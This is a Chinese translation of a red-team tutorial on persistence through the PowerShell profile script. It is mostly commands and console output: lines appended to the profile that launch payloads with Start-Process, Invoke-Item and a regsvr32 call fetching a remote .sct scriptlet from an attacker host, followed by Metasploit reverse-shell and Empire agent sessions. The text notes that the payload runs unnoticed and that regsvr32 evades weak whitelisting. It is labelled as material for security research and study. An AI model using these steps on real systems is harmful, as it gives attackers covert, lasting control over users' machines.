PowerShell 配置文件是一个PowerShell脚本，它允许系统管理员和用户自定义其环境，并在PowerShell会话启动时执行特定命令。它类似于管理员大量使用的登录脚本，用于为用户映射网络驱动器和打印机或收集有关系统的信息。如果用户定期在PowerShell上执行工作，修改PowerShell概要文件脚本的内容将允许对手或red团队将其用作持久性机制。这种技术可以在当前用户的上下文中执行。

PowerShell配置文件脚本存储在“WindowsPowerShell”文件夹中，默认情况下，该文件夹对用户隐藏。如果已将负载放入磁盘，则可以使用“Start-Process”cmdlet指向可执行文件的位置。“测试路径$Profile”确定当前用户是否存在配置文件。如果配置文件不存在，命令“新项-路径-配置文件类型-文件强制”将为当前用户创建一个概要文件，“out文件”将用新内容重写概要文件。

```
echo $profile
Test-Path $profile
New-Item -Path $profile -Type File -Force
$string = 'Start-Process "C:\tmp\pentestlab.exe"'
$string | Out-File -FilePath
"C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps
1" -Append
```

```
PS C:\Users\pentestlab> echo $profile
C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
PS C:\Users\pentestlab> Test-Path $profile
True
PS C:\Users\pentestlab> New-Item -Path $profile -Type File -Force


    Directory: C:\Users\pentestlab\Documents\WindowsPowerShell


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/5/2019   4:29 AM              0 Microsoft.PowerShell_profile.ps1


PS C:\Users\pentestlab> $string = 'Start-Process "C:\tmp\pentestlab.exe"'
PS C:\Users\pentestlab> $string | Out-File -FilePath "C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShe
ll_profile.ps1" -Append
PS C:\Users\pentestlab>
```

PowerShell配置文件–启动过程

PowerShell下次启动时将执行配置文件的内容，并使用命令和控件建立连接。

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.0.2.21
LHOST => 10.0.2.21
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.2.21:4444
[*] Sending stage (206403 bytes) to 10.0.2.40
[*] Meterpreter session 1 opened (10.0.2.21:4444 -> 10.0.2.40:49158) at 2019-11-
04 15:35:43 -0500

meterpreter >
```

持久性– PowerShell配置文件可执行

与启动过程类似，“ **Invoke-Item** ”cmdlet可用于执行项目的默认操作，即运行文件，打开应用程序等。launcher.bat是Empire生成的有效负载，具有自我删除功能在执行时作为更秘密的选择，因为它不会创建新流程。

```
echo $profile
Test-Path $profile
New-Item -Path $profile -Type File -Force
Add-Content $profile "Invoke-Item C:\tmp\launcher.bat"
$string | Out-File -FilePath
"C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps
1" -Append
```

```
PS C:\Users\pentestlab> echo $profile
C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
PS C:\Users\pentestlab> Test-Path $profile
True
PS C:\Users\pentestlab> New-Item -Path $profile -Type File -Force


    Directory: C:\Users\pentestlab\Documents\WindowsPowerShell


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/5/2019   5:20 PM              0 Microsoft.PowerShell_profile.ps1


PS C:\Users\pentestlab> Add-Content $profile "Invoke-Item C:\tmp\launcher.bat"
PS C:\Users\pentestlab> $string | Out-File -FilePath "C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShe
ll_profile.ps1" -Append
PS C:\Users\pentestlab>
```

PowerShell配置文件– BAT文件

当PowerShell在系统上再次启动时，将执行该文件，并且代理将与命令和控件进行通讯。执行不会像上面的示例那样在系统上创建新进程，而是将使用现有的PowerShell进程。

```
(Empire: agents) > [*] Sending POWERSHELL stager (stage 1) to 10.0.2.40
[*] New agent V2EZSPAR checked in
[+] Initial agent V2EZSPAR from 10.0.2.40 now active (Slack)
[*] Sending agent (stage 2) to V2EZSPAR at 10.0.2.40

(Empire: agents) > interact V2EZSPAR
(Empire: V2EZSPAR) > sysinfo
[*] Tasked V2EZSPAR to run TASK_SYSINFO
[*] Agent V2EZSPAR tasked with task ID 1
(Empire: V2EZSPAR) > sysinfo: 0|http://10.0.2.21:80|[redacted]|pentestlab|VEGA|10.0.2
.40|Microsoft Windows 7 Enterprise |False|powershell|2488|powershell|5
[*] Agent V2EZSPAR returned results.
Listener:          http://10.0.2.21:80
Internal IP:       10.0.2.40
Username:          [redacted]\pentestlab
Hostname:          VEGA
OS:                Microsoft Windows 7 Enterprise
High Integrity:    0
Process Name:      powershell
Process ID:        2488
Language:          powershell
Language Version: 5
```

持久性--PowerShell Profile Empire

cmdlet“ **Invoke-Command** ”的用法允许执行命令。regsvr32方法可以用作隐藏选项，因为它可以规避未正确配置的应用程序白名单解决方案，并且可以从远程位置执行scriptlet。

```
echo $profile
Test-Path $profile
New-Item -Path $profile -Type File -Force
$string = 'Invoke-Command -ScriptBlock { regsvr32 /s /n /u
/i:http://10.0.2.21:8080/jWcEbr.sct s
crobj.dll }'
$string | Out-File -FilePath
"C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps
1" -Append
```

```
PS C:\Users\pentestlab> echo $profile
C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
PS C:\Users\pentestlab> Test-Path $profile
True
PS C:\Users\pentestlab> New-Item -Path $profile -Type File -Force


    Directory: C:\Users\pentestlab\Documents\WindowsPowerShell


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/5/2019   6:23 PM              0 Microsoft.PowerShell_profile.ps1


PS C:\Users\pentestlab> $string = 'Invoke-Command -ScriptBlock { regsvr32 /s /n /u /i:http://10.0.2.21:8080/jWcEbr.sct s
crobj.dll }'
PS C:\Users\pentestlab> $string | Out-File -FilePath "C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShe
ll_profile.ps1" -Append
PS C:\Users\pentestlab>
```

PowerShell配置文件—执行命令

Metasploit框架包含一个模块（web_delivery），该模块可以生成并提供恶意scriptlet文件。但是，其他命令和控制（C2）框架（例如PoshC2）也支持此功能，并且与Metasploit相比，可以提供扩展的功能。

```
msf5 exploit(multi/script/web_delivery) >
[*] 10.0.2.40        web_delivery - Handling .sct Request
[*] 10.0.2.40        web_delivery - Delivering Payload (2137) bytes
[*] Sending stage (206403 bytes) to 10.0.2.40
[*] Meterpreter session 6 opened (10.0.2.21:4446 -> 10.0.2.40:49961) at 2019-11-
05 05:19:28 -0500

msf5 exploit(multi/script/web_delivery) > sessions -i 6
[*] Starting interaction with 6...

meterpreter >
```

持久性– PowerShell配置文件Regsvr32

使用多个命令对PowerShell配置文件进行大量修改会向用户发送一条有关增加加载时间的消息。但是，执行一个命令不会产生任何消息，有效负载将在后台运行，并且用户不会注意到任何差异。马特·尼尔森（Matt Nelson）过去做过一些工作，在他的博客中已经展示了有关通过使用Excel 宏作为传递机制来创建和滥用PowerShell配置文件的工作。通过将任意命令存储在配置文件脚本中，PowerShell配置文件为代码执行提供了很多机会。一个计划任务可以用来将在特定的时间执行PowerShell来避免需要依靠用户来启动PowerShell的。

> *译文声明：本文由Bypass整理并翻译，仅用于安全研究和学习之用。*
>
> *原文地址：https://pentestlab.blog/2019/11/05/persistence-powershell-profile/*